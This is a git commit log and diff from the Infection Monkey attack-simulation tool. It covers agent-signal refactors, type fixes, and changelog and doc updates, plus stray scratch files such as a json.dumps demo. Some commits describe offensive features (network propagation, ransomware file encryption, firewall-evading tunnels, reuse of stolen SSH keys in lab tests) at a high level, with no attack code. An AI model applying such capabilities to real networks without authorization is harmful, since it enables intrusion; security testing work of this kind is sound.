Shreya Malviya 3b192a869e UT: Replace test data with SocketAddress wherever required 2022-09-27 12:51:49 +05:30
Shreya Malviya 0ae653fb72 Agent: Let InfectionMonkey._cmd_island_port stay a str
No part of the code in InfectionMonkey requires _cmd_island_port to be an int now
2022-09-27 12:51:49 +05:30
Shreya Malviya 8a609e0871 Agent: Simplify logic in SocketAddress object creation in monkey.py and network/relay/utils.py 2022-09-27 12:51:49 +05:30
Shreya Malviya 6a29702846 Island: Modify cc_server type in Agent pydantic model 2022-09-27 12:51:49 +05:30
Shreya Malviya 284ec3d119 Agent: Use SocketAddress type in handle_agent_registration._get_or_create_cc_machine() 2022-09-27 12:51:49 +05:30
Shreya Malviya ac633a6e75 Agent: Change argument in InfectionMonkey._register_agent() to type SocketAddress 2022-09-27 12:51:49 +05:30
Shreya Malviya 6df2c29e30 Common: Update cc_server's type in AgentRegistrationData to SocketAddress 2022-09-27 12:51:49 +05:30
Kekoa Kaaikala 311c294033 Agent: Fix mypy issues in scan_target_generator.py 2022-09-26 20:20:24 +00:00
Kekoa Kaaikala 1bf610a4a8 Agent: Fix missing names 2022-09-26 19:51:14 +00:00
Kekoa Kaaikala 87ca11962e Common: Create PingScanEvent 2022-09-26 19:04:06 +00:00
Kekoa Kaaikala d87cf5a9f5 Agent: Fix mypy issues in test_propagator.py 2022-09-26 18:54:26 +00:00
Kekoa Kaaikala aeb6630ebc Agent: Move PingScanData to common 2022-09-26 18:52:23 +00:00
Kekoa Kaaikala dd5b796bfe Agent: Convert PingScanData to dataclass 2022-09-26 17:48:27 +00:00
Kekoa Kaaikala ef053ea017 Docs: Update network scanning documentation 2022-09-26 15:13:45 +00:00
Kekoa Kaaikala 6f095eb0c1
Merge pull request #2350 from guardicore/2323-parse-servers-as-socketaddress
2323 parse servers as socketaddress
2022-09-26 10:44:18 -04:00
vakarisz 9728d22250 Agent, Island: Rename scan_local_interfaces to scan_my_networks
"scan_my_networks" is the shortest way to convey that networks the machine belongs to will get scanned
2022-09-26 16:14:47 +03:00
Kekoa Kaaikala 8b8ef79e0a Common: Move SocketAddress function into the class
Moved socketaddress_from_string into SocketAddress.from_string
2022-09-26 12:32:00 +00:00
Shreya Malviya aec9cbb4b1
Merge pull request #2352 from guardicore/2323-SocketAddress-in-TCPRelay
SocketAddress in TCPRelay
2022-09-26 17:10:30 +05:30
Shreya Malviya 3de18d5f1c Project: Remove stale Vulture allowlist entry 2022-09-26 16:50:01 +05:30
Shreya Malviya a093a3e527 Agent: Use default str representation of SocketAddress in log message in notify_disconnect() 2022-09-26 16:49:42 +05:30
Shreya Malviya 4c76543a28 Agent: Use SocketAddress in notify_disconnect() in network relay utils 2022-09-26 13:44:40 +05:30
Shreya Malviya 105a2b39cf Agent: Add SocketAddress type variable in _send_remove_from_waitlist_control_message_to_relay() 2022-09-26 13:38:13 +05:30
Shreya Malviya 0db0347008 Agent: Use SocketAddress in TCPPipeSpawner 2022-09-26 13:30:30 +05:30
Shreya Malviya 426647c5b9 Agent: Use SocketAddress in TCPRelay 2022-09-26 13:07:47 +05:30
Kekoa Kaaikala 53a9c62245 Agent: Parse --servers to SocketAddress 2022-09-23 17:57:53 +00:00
Kekoa Kaaikala 4982999b99 Common: Add function to parse SocketAddress 2022-09-23 17:54:49 +00:00
Mike Salvatore dbaa56c39d
Merge pull request #2349 from guardicore/2261-refactor-manual-agent-logic
2261 refactor manual agent logic
2022-09-23 13:45:55 -04:00
Mike Salvatore 73841fb04e Project: Update vulture_allowlist.py 2022-09-23 13:04:21 -04:00
Mike Salvatore 6c63d4edbd Agent: Remove unused "Option" from i_island_api_client.py 2022-09-23 12:57:09 -04:00
Mike Salvatore 3fbbc01861 Changelog: Add entries for #2261 2022-09-23 12:56:13 -04:00
vakarisz b11cd9c5f1 Island: Remove agent controls
Agent controls are being replaced by agent signal events
2022-09-23 12:56:13 -04:00
Mike Salvatore a49ddf7a4a Merge pull request #2347 from guardicore/2261-move-agent-signals-to-common
2261 move agent signals to common
2022-09-23 12:56:13 -04:00
Mike Salvatore feb8288c98 Agent: Pass the correct agent ID to ControlChannel 2022-09-23 12:56:13 -04:00
Mike Salvatore f7198ea98a UT: Add proper test for ControlChannel.should_agent_stop() 2022-09-23 12:56:13 -04:00
ilija-lazoroski 5ec0f2dbd2 Merge pull request #2343 from guardicore/2261-modify-agent-to-use-signals
2261 modify agent to use signals
2022-09-23 12:56:13 -04:00
Mike Salvatore a5f1117ce3 Island: Fix grammar in docstring
Co-authored-by: Kekoa Kaaikala <kekoa.kaaikala@gmail.com>
2022-09-23 12:56:13 -04:00
Ilija Lazoroski a314efb8d9 Agent: Reword get_agent_signals docstring 2022-09-23 12:56:13 -04:00
Ilija Lazoroski e5c5cce94e Agent: Modify should_agent_stop to use AgentSignals model 2022-09-23 12:56:13 -04:00
Ilija Lazoroski d1fc4fa7f4 UT: Parametrize HTTPIslandAPIClient get_agent_signals test 2022-09-23 12:56:13 -04:00
Ilija Lazoroski 6299529f4a Island: Modify HTTPIslandAPIClient.get_agent_signals to return
AgentSignals
2022-09-23 12:56:13 -04:00
Ilija Lazoroski edf0593d4a Agent: Remove should_agent_stop from HTTPIslandAPIClient 2022-09-23 12:56:13 -04:00
Ilija Lazoroski a2be330d16 Island: IIslandAPIClient.get_agent_signals to return AgentSignals 2022-09-23 12:56:13 -04:00
Ilija Lazoroski 67956358bd Agent: Remove shoudl_agent_stop from IIslandAPIClient 2022-09-23 12:56:13 -04:00
Ilija Lazoroski 7a9ac1a6ba UT: Fix AgentSignals endpoint tests to use common.agent_signals 2022-09-23 12:56:13 -04:00
Ilija Lazoroski 3da90223fc Agent: Use IIslandAPIClient.get_agent_signals in ControlChannel 2022-09-23 12:56:13 -04:00
Ilija Lazoroski ffa5f90cbd Island: Use common.agent_signals in AgentSignalsService 2022-09-23 12:56:13 -04:00
Ilija Lazoroski 88c011e883 Agent: Implement IIslandAPIClient.get_agent_signals in
HTTPIslandAPIClient
2022-09-23 12:56:13 -04:00
Ilija Lazoroski 296f4e55df Common, Island: Move AgentSignals model to Common 2022-09-23 12:56:13 -04:00
Ilija Lazoroski a3d94d7a49 Agent: Add get_agent_signals to IIslandAPIClient 2022-09-23 12:56:11 -04:00
Mike Salvatore 6ae0e6f715 Merge pull request #2336 from guardicore/2261-add-agent-signals-resource
2261 add agent signals resource
2022-09-23 12:54:49 -04:00
ilija-lazoroski dd88745536 Merge pull request #2337 from guardicore/2261-on-terminate-agents-signal
2261 on terminate agents signal
2022-09-23 12:54:49 -04:00
Shreya Malviya dee2884144 UT: Move test_agent_signals.py and test_terminate_all_agents.py under cc/resources/agent_signals/ 2022-09-23 12:54:49 -04:00
Mike Salvatore a04a6a3cea Island: Implement AgentSignalsService.get_signals() 2022-09-23 12:54:49 -04:00
Ilija Lazoroski f9306cf8f1 Island: Keep naming consistency in island_event_handlers 2022-09-23 12:54:49 -04:00
Shreya Malviya 1dc72e45e7 UT: Remove unnecessary wrapper around pytest fixture flask_client in test_terminate_all_agents.py and test_agent_signals.py 2022-09-23 12:54:49 -04:00
Mike Salvatore 8e45a71a15 Island: Change agent parameter to agent_id in get_signals() 2022-09-23 12:54:49 -04:00
Kekoa Kaaikala 275efb2ab1 UT: Test on_terminate_agents_signal 2022-09-23 12:54:49 -04:00
Shreya Malviya c4642141f0 Island: Move terminate_all_agents.py and terminate_all_agents.py under cc/resources/agent_signals/ 2022-09-23 12:54:49 -04:00
Mike Salvatore f7997a6a50 Island: Fix tenses in repository docstrings 2022-09-23 12:54:49 -04:00
Ilija Lazoroski 9d3be7e1d3 Island: Implement AgentSignalsService.on_terminate_agents_signal 2022-09-23 12:54:49 -04:00
Shreya Malviya 6174e8dfcb BB: '/api/terminate-all-agents' -> '/api/agent-signals/terminate-all-agents' 2022-09-23 12:54:49 -04:00
Mike Salvatore 92dd564299 Merge pull request #2333 from guardicore/2261-get-progenitor
2261 get progenitor
2022-09-23 12:54:49 -04:00
Ilija Lazoroski 5eeee2a60d Island: Subscribe AgentSignalsService.on_terminate_agents_signal to
TERMINATE_AGENTS events
2022-09-23 12:54:49 -04:00
Shreya Malviya 850857c8a1 UI: '/api/terminate-all-agents' -> '/api/agent-signals/terminate-all-agents' 2022-09-23 12:54:49 -04:00
Mike Salvatore 60198ec879 Merge pull request #2332 from guardicore/2261-agent-signals-model
2261 agent signals model
2022-09-23 12:54:49 -04:00
Ilija Lazoroski c25e245a8e Island: Implement `get_progenitor` in MongoAgentRepository 2022-09-23 12:54:49 -04:00
Ilija Lazoroski f12e839878 Island: Register AgentSignalsSerivce in DI Container 2022-09-23 12:54:49 -04:00
Shreya Malviya b666078e7d Island: '/api/terminate-all-agents' -> '/api/agent-signals/terminate-all-agents' 2022-09-23 12:54:49 -04:00
Ilija Lazoroski d10c148533 Island: Add `get_progenitor` to IAgentRepository 2022-09-23 12:54:49 -04:00
Shreya Malviya 066f106882 UT: Move relevant tests from test_agent_signals.py to test_terminate_all_agents.py 2022-09-23 12:54:49 -04:00
Shreya Malviya 645e03e46f Island: Import TerminateAllAgents in cc/resources/__init__.py 2022-09-23 12:54:49 -04:00
Shreya Malviya 105cc60f4b Island: Remove POST method from AgentSignals resource 2022-09-23 12:54:49 -04:00
Shreya Malviya c586623b8b BB: '/api/agent-signals/terminate-all' -> '/api/terminate-all-agents' 2022-09-23 12:54:49 -04:00
Shreya Malviya 7527eca861 UI: '/api/agent-signals/terminate-all' -> '/api/terminate-all-agents' 2022-09-23 12:54:49 -04:00
Shreya Malviya 2864286a29 Island: Add TerminateAllAgents resource 2022-09-23 12:54:49 -04:00
Shreya Malviya 28c3cf581f UT: Add test cases for AgentSignal resource's POST 2022-09-23 12:54:49 -04:00
Shreya Malviya 24210d4f6f Island: Add check that terminate timestamp is > 0 in AgentSignals resource 2022-09-23 12:54:49 -04:00
Shreya Malviya 1632d8b3e9 BB: 'kill_time' -> 'terminate_time' 2022-09-23 12:54:49 -04:00
Shreya Malviya 11f443e641 UT: 'kill_time' -> 'terminate_time' 2022-09-23 12:54:49 -04:00
Shreya Malviya 489ead31d2 Island: 'kill_time' -> 'terminate_time' 2022-09-23 12:54:49 -04:00
Shreya Malviya fbfebc6167 UI: 'kill_time' -> 'terminate_time' 2022-09-23 12:54:49 -04:00
Shreya Malviya 14c615e238 Island: Rename some variables in test_agent_signals.py 2022-09-23 12:54:49 -04:00
Ilija Lazoroski 2d42355e2c UT: Add tests for GET AgentSignals endpoint 2022-09-23 12:54:49 -04:00
Ilija Lazoroski 41951511d0 Island: Add simplify=true when returning AgentSignals in endpoint 2022-09-23 12:54:49 -04:00
Shreya Malviya ef273bc1cf Island: Remove set_stop_all() 2022-09-23 12:54:49 -04:00
Shreya Malviya 637978648a Island: Remove StopAllAgents resource 2022-09-23 12:54:49 -04:00
Shreya Malviya 263fff28f3 BB: Use /api/agent-signals/terminate-all instead of /api/monkey-control/stop-all-agents 2022-09-23 12:54:49 -04:00
Shreya Malviya bc43f81a11 UI: Use /api/agent-signals/terminate-all instead of /api/monkey-control/stop-all-agents 2022-09-23 12:54:49 -04:00
Shreya Malviya 5bf63c1221 UT: Fix POST tests in test_agent_signals.py 2022-09-23 12:54:49 -04:00
Shreya Malviya 1afe625395 Island: Catch KeyError in AgentSignals resource's POST 2022-09-23 12:54:49 -04:00
Shreya Malviya cca4cf9df2 Island: Implement AgentSignals resource's GET 2022-09-23 12:54:49 -04:00
Shreya Malviya cfe31f8dee Island: Use terminate signal's timestamp directly instead of creating an AgentSignals object in AgentSignals resource 2022-09-23 12:54:49 -04:00
Shreya Malviya f23a6c8fa4 Island: Add message to ValueError in AgentSignals resource 2022-09-23 12:54:49 -04:00
Shreya Malviya 58ad44366a Island: Remove comment in cc/resources/agent_signals.py 2022-09-23 12:54:49 -04:00
Shreya Malviya dccef0efa5 Island: Rename Signal -> Signals in cc/resources/agent_signals.py 2022-09-23 12:54:49 -04:00
Kekoa Kaaikala 0775449fa9 Island: Add AgentSignals resource 2022-09-23 12:54:49 -04:00
Ilija Lazoroski c0afae6dfa Island: Add stubbed AgentSignalsService 2022-09-23 12:54:48 -04:00
Ilija Lazoroski 721cc29559 Island: Add AgentSignals model 2022-09-23 12:51:30 -04:00
Ilija Lazoroski 560d941885 Island: Add terminate field to Simulation model 2022-09-23 12:50:48 -04:00
Ilija Lazoroski be30db885b Island: Add TERMINATE_AGENTS to IslandEventTopic 2022-09-23 12:49:41 -04:00
Kekoa Kaaikala 8ff817eed2 Island: Rename local_network_scan
local_network_scan -> scan_local_interfaces
2022-09-23 15:43:30 +00:00
Kekoa Kaaikala 4f4eea3d66 Agent: Use get_my_ip_address() to build master 2022-09-23 10:46:47 -04:00
Ilija Lazoroski 49e434d754 Common: Add SocketAddress type 2022-09-23 09:21:34 -04:00
Mike Salvatore 1716a2dddd
Merge pull request #2344 from guardicore/2325-ipv4address-in-island
2325 ipv4address in island
2022-09-23 09:09:07 -04:00
Mike Salvatore 0ca004795a Island: Remove Sequence[str] convention for "ip_addresses" 2022-09-23 08:46:16 -04:00
Mike Salvatore 0592e0a790 Island: Use IPv4Address in LocalMonkeyRunService 2022-09-23 08:45:48 -04:00
Mike Salvatore c2f3def33b Island: Use IPv4Address in resources.IPAddresses 2022-09-23 08:42:32 -04:00
Mike Salvatore 526fd6f941 Island: Use IPv4Address instead of str in server_setup.py 2022-09-23 08:35:29 -04:00
Mike Salvatore fc4c05405b Common: Add get_my_ip_addresses() -> Sequence[IPv4Address] 2022-09-23 08:16:11 -04:00
Mike Salvatore a89d76a4c5
Merge pull request #2339 from guardicore/2260-more-mypy-fixes
2260 more mypy fixes
2022-09-23 08:05:02 -04:00
vakarisz 52d0e6f655 Agent, Island: Rename get_my_ip_address to legacy 2022-09-23 14:03:10 +03:00
vakarisz 6ced730b53 UT: Remove monkey. part from imports in unit tests
No part of the codebase import with this longer syntax of `monkey.infection_monkey.something`, because `infection_monkey.something` is shorter and enough
2022-09-23 12:40:41 +03:00
vakarisz d48e8b3f3e Agent, Island: Add mypy to dev dependencies 2022-09-23 12:40:41 +03:00
vakarisz 39191d3344 Project: Remove __init__.py in monkey folder
Monkey is not a python package, it's a collection of packages. This also prevents mypy from searching monkey.infection_monkey... imports
2022-09-23 10:47:16 +03:00
vakarisz 978daf973b Agent: Fix mypy errors related to puppet 2022-09-23 10:45:23 +03:00
vakarisz 0d08ce467e Agent: Fix mypy issues in ransomware and encryption 2022-09-23 09:42:25 +03:00
vakarisz 3d7e9be150 Agent: Fix type hints mypy found in relay/utils.py 2022-09-22 17:33:00 +03:00
vakarisz 9749984640 Agent: Fix type hints mypy found in propagator.py 2022-09-22 17:09:32 +03:00
Mike Salvatore 2c4625eb1c Island: Add IAgentLogRepository 2022-09-22 09:59:01 -04:00
Kekoa Kaaikala 9c0ea39b6d
Merge pull request #2330 from guardicore/2260-fix-mypy-issues
2260 fix mypy issues
2022-09-22 09:49:42 -04:00
Kekoa Kaaikala 4226d9029f Island: Simplify T1065.get_tunnel_ports() 2022-09-22 13:38:45 +00:00
Kekoa Kaaikala 38d9ccc9f0 Agent: Remove stale comment 2022-09-22 13:11:08 +00:00
Shreya Malviya 7d996c100e Agent: Remove repeated code in http_island_api_client.handle_island_errors() 2022-09-22 17:47:50 +05:30
Mike Salvatore 444bf99e41
Merge pull request #2328 from guardicore/2290-import-config-bug
UI: Get derived state from props in AdvancedMultiSelect
2022-09-22 08:03:28 -04:00
Mike Salvatore fe2c1f29fa Agent: Catch requests.JSONDecodeError 2022-09-22 08:02:52 -04:00
Mike Salvatore 823829c001
Merge pull request #2331 from guardicore/2256-publish-agent-registration-data
2256 publish agent registration data
2022-09-22 07:46:19 -04:00
vakarisz 56af6fd2c4 UI: Don't use derived state for selected plugin names 2022-09-22 12:16:11 +03:00
Mike Salvatore 13f7301db9 Island: Add types-python-dateutil as dev dependency 2022-09-21 20:43:50 -04:00
Mike Salvatore f591f150fc Revert "Island: Fix mypy issues in exploit.py"
This reverts commit 9c49cdafa3.
2022-09-21 20:43:09 -04:00
Mike Salvatore 284f58afaf UT: Sort updated_machine.network_interfaces 2022-09-21 20:37:30 -04:00
Mike Salvatore 5b61767575 Project: Remove IslandEventTopics from vulture_allowlist 2022-09-21 20:34:30 -04:00
Kekoa Kaaikala 5e7689345f Island: Remove i_log_repository.py 2022-09-21 22:25:42 +00:00
Kekoa Kaaikala 06965abe5d Island: Remove networkmap.py 2022-09-21 22:25:42 +00:00
Kekoa Kaaikala bba6386efa Island: Fix mypy issues in segmentation.py 2022-09-21 22:25:42 +00:00
Kekoa Kaaikala 1defad72fd Island: Fix mypy issues in networkmap.py 2022-09-21 22:25:42 +00:00
Kekoa Kaaikala e478ba80e0 Island: Fix mypy issues in version.py 2022-09-21 22:25:42 +00:00
Kekoa Kaaikala c0e98bc0d1 Island: Fix mypy issues in T1065.py 2022-09-21 22:25:42 +00:00
Kekoa Kaaikala 5f3d757965 Island: Fix mypy issues in mongo_db_process.py 2022-09-21 22:25:42 +00:00
Kekoa Kaaikala 0578219549 Island: Fix mypy issues in finding_service.py 2022-09-21 22:25:42 +00:00
Kekoa Kaaikala 85dbda8ba9 Island: Fix mypy issues in cred_exploit.py 2022-09-21 22:25:24 +00:00
Kekoa Kaaikala 22b12080b6 Island: Fix mypy issues in ransomware_report.py 2022-09-21 22:23:14 +00:00
Kekoa Kaaikala 9c49cdafa3 Island: Fix mypy issues in exploit.py 2022-09-21 22:23:14 +00:00
Kekoa Kaaikala b8230ffb73 Island: Fix mypy issues for encryptors 2022-09-21 22:23:14 +00:00
Kekoa Kaaikala 421ed942fe Island: Fix mypy issues in AbstractResource.py 2022-09-21 22:23:14 +00:00
Kekoa Kaaikala ecd2cbbe6e Island: Fix mypy issues in i_log_repository.py 2022-09-21 22:23:14 +00:00
Kekoa Kaaikala 3e95ec6ee4 Island: Fix mypy issues in server_setup.py 2022-09-21 22:23:14 +00:00
Kekoa Kaaikala 95839caf9c Island: Fix mypy issues in app.py 2022-09-21 22:23:14 +00:00
Kekoa Kaaikala 97d53dba3c Agent: Fix mypy issues in ransomware_options.py 2022-09-21 22:23:14 +00:00
Kekoa Kaaikala c78e6333f8 Agent: Fix mypy issues in pba.py 2022-09-21 22:23:14 +00:00
Kekoa Kaaikala 1621b494f4 Agent: Fix mypy issues in capture_output.py 2022-09-21 22:23:03 +00:00
Mike Salvatore bed684d7d0 Island: Rename IslandEventTopic.AGENT_{CONNECTED,REGISTERED} 2022-09-21 15:42:28 -04:00
Mike Salvatore 371e495f17 Island: Fix call to IIslandEventQueue.publish() 2022-09-21 15:42:12 -04:00
Mike Salvatore 71da0a559a Island: Register handle_agent_registration for AGENT_CONNECTED events 2022-09-21 15:05:47 -04:00
Mike Salvatore 271475570d Island: Modify machine with AgentRegistrationData
Since the Machine is passed to other methods, it should have the most up
to date data.
2022-09-21 15:05:47 -04:00
Mike Salvatore 4101f7509a Island: Handle IP address collisions when updating Machine on agent reg 2022-09-21 15:05:47 -04:00
Mike Salvatore c0870e6696 Island: Add new node communication on agent registration 2022-09-21 15:05:47 -04:00
Mike Salvatore 1e8a60c890 Island: Add new agent to repository on agent registration 2022-09-21 15:05:47 -04:00
Mike Salvatore c95c2ffdf9 Island: Add handle_agent_registration event handler
- Add handle_agent_registration callable class
- Add/Update machine to the repository
2022-09-21 15:05:47 -04:00
Mike Salvatore 41dbb92eef UT: Remove debug print statement 2022-09-21 15:05:47 -04:00
Mike Salvatore d514ac283c Island: Publish AgentRegistrationData from Agents resource 2022-09-21 15:05:47 -04:00
Mike Salvatore f811f91d73 Agent: Add missing `return` to convert_json_error_to_island_api_error() 2022-09-21 15:05:19 -04:00
Mike Salvatore 388b9fe4ed Agent: Add missing `return` to handle_island_api_errors() 2022-09-21 15:05:16 -04:00
Mike Salvatore 69c8d3a667 Agent: Remove errant line that sets `self._control_client = None` 2022-09-21 15:04:07 -04:00
Mike Salvatore fbb8e85b46 Agent: Pass server to InfectionMonkey._register_agent() 2022-09-21 14:56:53 -04:00
Mike Salvatore b4c8ac7242 Island: Accept any kwargs in IIslandEventQueue.publish() 2022-09-21 12:53:39 -04:00
Ilija Lazoroski 320364a7a2 UI: Get derived state from props in AdvancedMultiSelect 2022-09-21 16:48:47 +02:00
Mike Salvatore a76273fa0d
Merge pull request #2327 from guardicore/2266-replace-IslandModeService
Replace IslandModeService with event
2022-09-21 09:25:29 -04:00
Shreya Malviya a8fb05f2b8 Island: Simplify logic in test_island_mode.py with fixtures 2022-09-21 18:53:12 +05:30
Shreya Malviya 60db495cee UT: Use MagicMock to simulate internal server error in test_island_mode_post__invalid_mode() 2022-09-21 18:43:26 +05:30
Shreya Malviya 1afafd20dd UT: Simplify some logic in test_island_mode.py's flask_client fixture 2022-09-21 18:09:13 +05:30
Shreya Malviya 10e1177ef6 Island: Remove set_simulation_mode 2022-09-21 18:08:06 +05:30
Shreya Malviya 547637d151 Island: Subscribe ISimulationRepository.set_mode to IslandEventTopic.SET_ISLAND_MODE 2022-09-21 18:08:06 +05:30
Shreya Malviya add31fe397 Island: Rename IslandModeEnum.SET_ISLAND_MODE's subscribers' arguments from 'event' to 'mode' 2022-09-21 18:07:54 +05:30
Shreya Malviya c1e15f8be5 Island: Fix docstring in set_agent_configuration_per_island_mode 2022-09-21 17:41:54 +05:30
ilija-lazoroski 18ceb6c279
Merge pull request #2322 from guardicore/2181-credential-reuse-ete
2181 credential reuse ete
2022-09-21 13:58:12 +02:00
Shreya Malviya fb2165b2e8 UT: Fix broken IslandMode tests 2022-09-21 17:20:32 +05:30
Shreya Malviya 4e0f2c89ec UT: Remove test_island_mode_service.py 2022-09-21 16:39:24 +05:30
Shreya Malviya 6933d25768 Island: Remove IslandModeService 2022-09-21 16:38:57 +05:30
Shreya Malviya bc630e86e9 Island: Remove IslandModeService from IslandMode resource 2022-09-21 16:36:44 +05:30
Shreya Malviya d9d388d41c Island: Get Island mode from simulation repository in IslandMode's GET 2022-09-21 16:32:30 +05:30
Shreya Malviya 1f96ab5ea9 Island: Extract event topic to a variable in all Island event handler subscribe functions 2022-09-21 16:26:04 +05:30
Shreya Malviya 5a96d5b570 Island: Subscribe set_simulation_mode to IslandEventTopic.SET_ISLAND_MODE 2022-09-21 16:21:59 +05:30
Shreya Malviya b4c1879bf9 Island: Add set_simulation_mode Island event handler 2022-09-21 16:20:05 +05:30
Shreya Malviya 9ce652f1a5 Island: Rename IslandEventTopic.SET_MODE -> IslandEventTopic.SET_ISLAND_MODE 2022-09-21 16:15:33 +05:30
Shreya Malviya 822d9d6eec Island: Rename set_island_mode -> set_agent_configuration_per_island_mode 2022-09-21 16:13:33 +05:30
Shreya Malviya 8b87783998 Island: Subscribe set_island_mode to IslandEventTopic.SET_MODE 2022-09-21 16:07:00 +05:30
Shreya Malviya f20f11265b Island: Add set_island_mode Island event handler 2022-09-21 16:03:03 +05:30
Shreya Malviya 67e280fd7a Island: Publish SET_MODE event in IslandMode's PUT 2022-09-21 14:38:08 +05:30
Shreya Malviya 5675724843 Island: Add SET_MODE to IslandEventTopic 2022-09-21 14:33:16 +05:30
Mike Salvatore f8777cd37d
Merge pull request #2326 from guardicore/2256-initialize-i-machine-repository
2256 initialize i machine repository
2022-09-20 15:26:37 -04:00
Mike Salvatore 183b065ae6 Island: Set island=True on IMachineRepository initialization 2022-09-20 15:11:33 -04:00
Mike Salvatore a323441ffe Island: Add Machine.island field 2022-09-20 15:09:43 -04:00
Mike Salvatore f472963b78
Merge pull request #2324 from guardicore/2292-control-channel-client-api-client
2292 control channel client api client
2022-09-20 14:47:51 -04:00
Mike Salvatore 897d1e39ac Agent: Remove debug print from handle_island_api_errors() 2022-09-20 14:45:17 -04:00
Mike Salvatore aed9022a7a Island: Register reset_machine_repository for CLEAR_SIMULATION_DATA 2022-09-20 14:34:25 -04:00
Kekoa Kaaikala 53dc34f895 Agent: Fix typo in IIslandAPIClient 2022-09-20 18:34:04 +00:00
Mike Salvatore 35025ead18 Island: Add reset_machine_repository 2022-09-20 14:33:44 -04:00
Kekoa Kaaikala 2a1396c82d Agent: Use response.json() in HTTPIslandAPIClient 2022-09-20 18:33:05 +00:00
Kekoa Kaaikala 022630ddc1 Agent: Simplify error handling in ControlChannel 2022-09-20 18:32:20 +00:00
Mike Salvatore 36142774dd Island: Initialize IMachineRepository on Island start 2022-09-20 14:27:58 -04:00
Mike Salvatore ff0a57aa93 Island: Add initialize_machine_repository() 2022-09-20 14:27:32 -04:00
Kekoa Kaaikala 417d167026 Agent: Simplify error handling in HTTPIslandAPIClient 2022-09-20 18:27:17 +00:00
Kekoa Kaaikala 1c6ca24a47 Agent: Move register_agent out of ControlChannel 2022-09-20 18:21:55 +00:00
Kekoa Kaaikala 2f5bcff631 UT: Use island_api_client fixture 2022-09-20 18:04:16 +00:00
Mike Salvatore fca3a1357e Island: Add missing return type to _build_agent_binary_repository() 2022-09-20 13:48:50 -04:00
Kekoa Kaaikala 605e6ae496 UT: Add test for get_credentials_for_propagation 2022-09-20 17:47:10 +00:00
Kekoa Kaaikala 4c3a1ba89a UT: Add test for get_config 2022-09-20 17:47:10 +00:00
Kekoa Kaaikala fd08212763 UT: Add test for should_agent_stop 2022-09-20 17:47:10 +00:00
Kekoa Kaaikala 44d8dbeb5c Island: Get rid of server param in IslandAPIClient 2022-09-20 17:46:03 +00:00
Kekoa Kaaikala 8ebcd2ea33 Island: Update register_agent errors 2022-09-20 17:46:03 +00:00
Kekoa Kaaikala 2dc4871a7d Agent: Pass IslandAPIClient to the ControlChannel 2022-09-20 17:38:53 +00:00
Kekoa Kaaikala 3e96a30a09 UT: Parametrize errors in tests 2022-09-20 17:35:57 +00:00
Kekoa Kaaikala 51ce974c43 Agent: Reduce duplication due to error handling 2022-09-20 17:35:57 +00:00
Kekoa Kaaikala 42633c066f Agent: Reduce duplication due to error handling 2022-09-20 17:35:57 +00:00
Kekoa Kaaikala b260dcc5cb Agent: Add get_credentials_for_propagation to IslandAPIClient 2022-09-20 17:33:20 +00:00
Kekoa Kaaikala d6795492a4 Agent: Add get_config to IslandAPIClient 2022-09-20 17:32:10 +00:00
Kekoa Kaaikala 92e793c2cd Agent: Add should_agent_stop to IslandAPIClient 2022-09-20 17:30:13 +00:00
Kekoa Kaaikala 54ef77698c Agent: Add register_agent to IslandAPIClient 2022-09-20 17:28:36 +00:00
Ilija Lazoroski 3af38d7841 BB: Fix some minor configuration issue in CredentialsReuse 2022-09-20 18:06:12 +02:00
Ilija Lazoroski a2b8fceb28 BB: Add new CredentialReuse machines info to the Docs 2022-09-20 17:52:24 +02:00
Ilija Lazoroski 246c78e8c1 BB: Add the new machine to the Terraform scripts 2022-09-20 17:52:00 +02:00
Ilija Lazoroski 07d1062b80 BB: Add CredentialsReuse machines to test_machine_list 2022-09-20 17:51:39 +02:00
Ilija Lazoroski 6c11eb2a6b BB: Add new EtE test that reuses stolen ssh key to exploit a machine
Island --(password)--> A --(password)--> B --(A's SSH key)--> C
2022-09-20 17:49:55 +02:00
Ilija Lazoroski c13dcf464c BB: Export Credentials reuse with ssh key test configuration from
__init__
2022-09-20 17:49:01 +02:00
Ilija Lazoroski a9bec168b1 BB: Add Credentials Reuse with ssh key test configuration 2022-09-20 17:48:30 +02:00
271 changed files with 6383 additions and 2329 deletions

View File

@ -23,7 +23,10 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- `/api/agent-events` endpoint. #2155, #2300
- The ability to customize the file extension used by ransomware when
encrypting files. #1242
- `/api/agents` endpoint.
- `/api/agents` endpoint. #2362
- `/api/agent-signals` endpoint. #2261
- `/api/agent-logs/<uuid:agent_id>` endpoint. #2274
- `/api/machines` endpoint. #2362
### Changed
- Reset workflow. Now it's possible to delete data gathered by agents without
@ -64,6 +67,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- Tunneling to relays to provide better firewall evasion, faster Island
connection times, unlimited hops, and a more resilient way for agents to call
home. #2216, #1583
- "/api/monkey-control/stop-all-agents" to "/api/agent-signals/terminate-all-agents". #2261
- "Local network scan" option to "Scan Agent's networks". #2299
### Removed
- VSFTPD exploiter. #1533
@ -109,6 +114,9 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- "/api/configuration/export" endpoint. #2002
- "/api/island-configuration" endpoint. #2003
- "-t/--tunnel" from agent command line arguments. #2216
- "/api/monkey-control/neets-to-stop". #2261
- "GET /api/test/monkey" endpoint. #2269
- "GET /api/test/log" endpoint. #2269
### Fixed
- A bug in network map page that caused delay of telemetry log loading. #1545

View File

@ -29,7 +29,7 @@ Monkey on our [website](https://www.akamai.com/infectionmonkey).
For more information, or to apply, see the official job post:
- [Israel](https://akamaicareers.inflightcloud.com/jobdetails/aka_ext/028224?section=aka_ext&job=028224)
test1111
## Screenshots

13
c/test_dumps.py Normal file
View File

@ -0,0 +1,13 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

1
ces.txt Normal file
View File

@ -0,0 +1 @@
是分为氛围

1
ces11.txt Normal file
View File

@ -0,0 +1 @@
123456

View File

@ -8,5 +8,7 @@ description: "Configure settings related to the Monkey's network activity."
Here you can control multiple important settings, such as:
* Network propagation depth - How many hops from the base machine will the Infection Monkey spread?
* Local network scan - Should the Infection Monkey attempt to attack any machine in its subnet?
* Scan Agent's networks - Should the Infection Monkey attempt to attack any machine in its subnet?
_Be careful when using this option. If a machine is connected to a public network, then the agent will scan the public network!_
